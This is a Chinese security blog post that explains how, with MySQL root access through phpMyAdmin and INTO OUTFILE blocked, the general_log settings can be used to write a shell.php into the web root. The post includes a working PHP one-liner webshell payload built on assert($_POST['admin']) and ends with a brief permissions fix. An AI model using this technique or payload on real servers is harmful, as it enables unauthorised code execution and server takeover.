phpMyAdmin新姿势getshell

释放双眼,带上耳机,听听看~!

假设我们拥有MySQL的root权限,登录Web端的phpMyAdmin数据库管理控制台,你有多少种方法去getshell?

本文旨在研究新的方法,如果在INTO OUTFILE禁用的情况下,或许会少很多思路了。

这里的禁用是完全(权限)禁用,而不是拦截行为。

0x01 常规方法测试

好了,入正题,我目前拥有一台WIN XP虚拟机,上面的服务如下:

  • Apache 2.4.23(此环境与本文实现的攻击关系不大)
  • PHP 5.4.45(此环境与本文实现的攻击关系不大)
  • phpMyAdmin 4.6.6(此环境与本文实现的攻击关系不大)
  • MySQL 5.5.53 – MySQL Community Server (GPL) (5.0以上)
  • 绝对路径:C:phpStuWWW

目前大部分站点都使用了MySQL 5.0以上的版本

我们先尝试一下使用SQL表达式INTO OUTFILE 去getshell:
1426997097

可以看到已经被阻止了 ,具体原因我们在这里讲一下:

错误提示

#1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement.

814993993

secure-file-priv这个全局变量是指定文件夹作为导出文件存放的地方,默认情况下,secure-file-priv是一个空值(NULL)。我们现在设置为网站的根目录,再去尝试使用INTO OUTFILE getshell。

但是在我们使用SQL修改的时候,发现这个值是只读的。

3106548059
经过查阅资料知道,这个值只能通过修改MySQL的配置文件来达到修改的目的。

0x02 新姿势测试

这些希望破灭以后我并没有沮丧,我相信这些研究都是有用的,有助于我的思考。

于是把目光转向了MySQL的特性,开始测试MySQL全局变量对MySQL本身的影响。

最后我发现MySQL 5.0+的版本会自动创建日志文件,那么在服务运行的情况下修改全局变量也是可以变动文件位置的,但是必须要对生成日志的目录有可读可写的权限。(Linux环境下可能会比较苛刻,因为站点目录是一个用户,MySQL是另外一个用户,权限管控较为严格,主要取决于权限配置是否得当)

OK,不废话,开始测试~~

首先呢,介绍两个MySQL全局变量(general_log、general_log file)

  • general log 指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。
  • general log file 指的是日志的保存路径。
    我们先查看一下全局变量 ~

3891290536

目前是OFF状态,也就是不保存SQL到日志文件中。

1997272533

这里强调一下保存过程,general_log是保存每一条你执行的SQL到文件中。目前为OFF,所以文件还没有被创建,我们修改为ON尝试让MySQL创建文件:

4158211348
我们去主机上的目录里看看这个文件是否存在:

1875797050

贴出文件内容:

C:phpStumysql/bin/mysqld.exe, Version: 5.5.53 (MySQL Community Server (GPL)). started with:
TCP Port: 3306, Named Pipe: MySQL
Time                 Id Command    Argument
170323 18:08:54       35 Quit

目前是没有什么内容的。我们在控制台随便执行一个SQL:

SELECT MD5('admin');、

2085256378

贴出新的日志内容:

C:phpStumysql/bin/mysqld.exe, Version: 5.5.53 (MySQL Community Server (GPL)). started with:
TCP Port: 3306, Named Pipe: MySQL
Time                 Id Command    Argument
170323 18:08:54       35 Quit    
170323 18:12:55       36 Connect    [email protected] on 
           36 Query    SET NAMES 'utf8' COLLATE 'utf8_general_ci'
           36 Init DB    mysql
           36 Query    SHOW MASTER LOGS
           36 Quit    
           37 Connect    [email protected] on 
           37 Query    SET NAMES 'utf8' COLLATE 'utf8_general_ci'
           37 Quit    
170323 18:13:21       38 Connect    [email protected] on 
           38 Query    SET NAMES 'utf8' COLLATE 'utf8_general_ci'
           38 Query    SELECT MD5('admin')
           38 Quit

可以清除的发现,日志文件同步保存了我们所有的SQL语句……猥琐的思路从脑海中喷发而出~ 我们要在站点目录下使用MySQL的日志功能创建一个shell.php

首先查看目录中不存在shell.php这个文件:

956401226
我们再去看看站点下是否创建了这个文件:

132228298
创建成功,并且文件内容中也有日志的初始值。

我们现在写入一句话~ 强调一下,SQL就是SQL,在保存到日志中的时候不会解析转译符号,不知道大家能否理解,我举一个例子:

我们查询:

SELECT '<?php assert($_POST['admin']);?>;

保存到日志中也会变成

SELECT '<?php assert($_POST['admin']);?>';

php这边解析的时候就会报错,因此我们采用单引号与双引号公用的方式实现:

SELECT '<?php assert($_POST["admin"]);?>';

PS:$_POST中不用引号也可以~
4286824251

3622605998

已经解析php了,我们同样测试一下是否能执行php代码吧 ~

3941183850

0x03 总结

在权限把控不严谨的情况下容易出现此类攻击,如果MySQL没有权限在站点根目录下创建文件的话也就不会发生这样的情况了。

修复方案就是权限把控好就可以了 ~

人已赞赏
安全技术

libinjection 语义分析通用绕过

2020-9-11 1:44:09

安全技术

宝塔面板Linux7.4.2以及Windows6.8版本PhpmyAdmin未加签权漏洞-宝塔面板最新漏洞15

2020-10-8 8:41:37

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索